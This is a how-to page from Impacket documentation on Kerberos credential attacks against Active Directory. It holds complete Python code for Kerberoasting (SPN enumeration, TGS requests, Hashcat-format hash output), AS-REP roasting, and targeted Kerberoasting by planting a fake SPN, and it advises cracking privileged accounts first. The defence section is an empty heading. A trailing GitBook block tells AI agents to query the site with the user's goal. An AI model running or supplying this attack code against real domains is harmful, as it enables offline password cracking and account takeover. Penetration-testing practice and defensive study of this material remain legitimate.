> For the complete documentation index, see [llms.txt](https://www.impacket.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.impacket.wiki/how-to-guides/kerberos-attacks.md).

# Kerberos Attacks

You have valid domain credentials and want to find accounts whose passwords can be cracked offline through Kerberos ticket requests.

## What you need

* Any authenticated domain account (no special privileges required)
* Network access to the domain controller on ports 389 (LDAP) and 88 (Kerberos)

***

## Kerberoasting

### Find user accounts with SPNs via LDAP

```python
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap.ldapasn1 import SearchResultEntry

ldap_conn = ldap_impacket.LDAPConnection(url=f"ldap://{dc_ip}", baseDN=base_dn)
ldap_conn.login(user=username, password=password, domain=domain)

resp = ldap_conn.search(
    searchFilter="(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))",
    attributes=["sAMAccountName", "servicePrincipalName", "adminCount", "memberOf"],
)

targets = []
for item in resp:
    if not isinstance(item, SearchResultEntry):
        continue
    sam_name, spns, admin_count = "", [], "0"
    for attribute in item["attributes"]:
        attr_name = str(attribute["type"])
        if attr_name == "sAMAccountName":
            sam_name = str(attribute["vals"][0])
        elif attr_name == "servicePrincipalName":
            spns = [str(v) for v in attribute["vals"]]
        elif attr_name == "adminCount":
            admin_count = str(attribute["vals"][0])
    if sam_name and spns:
        targets.append((sam_name, spns, admin_count))

for name, spns, ac in targets:
    priority = " [HIGH VALUE - adminCount=1]" if ac == "1" else ""
    print(f"  {name}: {spns[0]}{priority}")
```

### Request TGS tickets

```python
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
from impacket.krb5 import constants

client_principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, old_session_key, session_key = getKerberosTGT(
    clientName=client_principal, password=password,
    domain=domain, lmhash='', nthash='', kdcHost=dc_ip,
)

tgs_tickets = []
for sam_name, spns, _ in targets:
    server_principal = Principal(spns[0], type=constants.PrincipalNameType.NT_SRV_INST.value)
    try:
        tgs, tgs_cipher, _, _ = getKerberosTGS(
            serverName=server_principal, domain=domain, kdcHost=dc_ip,
            tgt=tgt, cipher=cipher, sessionKey=session_key,
        )
        tgs_tickets.append((sam_name, spns[0], tgs))
    except Exception as e:
        print(f"  Failed for {sam_name}: {e}")
```

### Format output for Hashcat

```python
from impacket.krb5.asn1 import TGS_REP
from pyasn1.codec.der import decoder

with open('kerberoast_hashes.txt', 'w') as f:
    for sam_name, spn, tgs in tgs_tickets:
        tgs_decoded = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
        enc_part = tgs_decoded['ticket']['enc-part']
        etype = int(enc_part['etype'])
        cipher_text = bytes(enc_part['cipher']).hex()

        # Hashcat mode 13100 (RC4) or 19700 (AES256)
        hash_line = f"$krb5tgs${etype}$*{sam_name}${domain}${spn}*${cipher_text[:32]}${cipher_text[32:]}"
        f.write(hash_line + '\n')
        print(f"  Wrote hash for {sam_name} (etype {etype})")
```

### Request specific encryption types

By default, the KDC may return AES-encrypted tickets which are slower to crack. To request RC4 (etype 23):

```python
from impacket.krb5 import constants

# When building the TGS request, you can influence the etype
# through the session's supported encryption types.
# The KDC honors the requested etypes if the target account supports them.
```

If the target account only has AES keys (no RC4), the KDC returns AES regardless. These are crackable with Hashcat mode 19700 but significantly slower.

***

## AS-REP Roasting

### Find accounts without pre-authentication

```python
resp = ldap_conn.search(
    searchFilter="(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))",
    attributes=["sAMAccountName", "adminCount"],
)

asrep_targets = []
for item in resp:
    if not isinstance(item, SearchResultEntry):
        continue
    for attribute in item["attributes"]:
        if str(attribute["type"]) == "sAMAccountName":
            asrep_targets.append(str(attribute["vals"][0]))
```

### Request AS-REP without credentials

```python
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.asn1 import AS_REQ, AS_REP, seq_set
from impacket.krb5.types import KerberosTime
from pyasn1.codec.der import encoder, decoder

with open('asrep_hashes.txt', 'w') as f:
    for target_user in asrep_targets:
        client_name = Principal(target_user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        as_req = AS_REQ()
        as_req['pvno'] = 5
        as_req['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)

        req_body = seq_set(as_req, 'req-body')
        req_body['kdc-options'] = constants.encodeFlags([
            constants.KDCOptions.forwardable.value,
            constants.KDCOptions.renewable.value,
            constants.KDCOptions.proxiable.value,
        ])
        seq_set(req_body, 'sname', client_name.components_to_asn1)
        req_body['realm'] = domain.upper()
        seq_set(req_body, 'cname', client_name.components_to_asn1)
        req_body['till'] = KerberosTime.to_asn1(KerberosTime.now() + 86400)
        req_body['rtime'] = KerberosTime.to_asn1(KerberosTime.now() + 86400)
        req_body['nonce'] = 0
        seq_set(req_body, 'etype', [constants.EncryptionTypes.rc4_hmac.value])

        try:
            message = encoder.encode(as_req)
            r = sendReceive(message, domain, dc_ip)
            as_rep = decoder.decode(r, asn1Spec=AS_REP())[0]

            enc_part = as_rep['enc-part']
            cipher_text = bytes(enc_part['cipher']).hex()
            hash_line = f"$krb5asrep${target_user}@{domain}:{cipher_text[:32]}${cipher_text[32:]}"
            f.write(hash_line + '\n')
            print(f"  Wrote AS-REP hash for {target_user}")
        except Exception as e:
            print(f"  Failed for {target_user}: {e}")
```

***

## Targeted Kerberoasting (when you have write access)

If you have `GenericWrite` or `GenericAll` on a user account, you can set an SPN on it, Kerberoast it, then remove the SPN:

```python
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE

target_dn = "CN=HighValueUser,CN=Users,DC=lab,DC=local"
fake_spn = "HTTP/fake.lab.local"

# Set the SPN
ldap_conn.modify(target_dn, {
    'servicePrincipalName': [(MODIFY_ADD, fake_spn)]
})

# Now request a TGS for this SPN (same as above)
# ...

# Remove the SPN
ldap_conn.modify(target_dn, {
    'servicePrincipalName': [(MODIFY_DELETE, fake_spn)]
})
```

***

## Prioritizing results

Accounts with `adminCount=1` are members (or former members) of privileged groups. Crack those first. Service accounts running critical infrastructure often have passwords that never change, making even slow hash types worth the effort.

## Detection & Defense

> **Warning:** Kerberos attacks are often detected by modern security tools. Understanding detection mechanisms is crucial.

## Next Steps

[**Credential Dumping**](/how-to-guides/credential-extraction.md)**:** Extract credentials for Kerberos attacks


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.impacket.wiki/how-to-guides/kerberos-attacks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
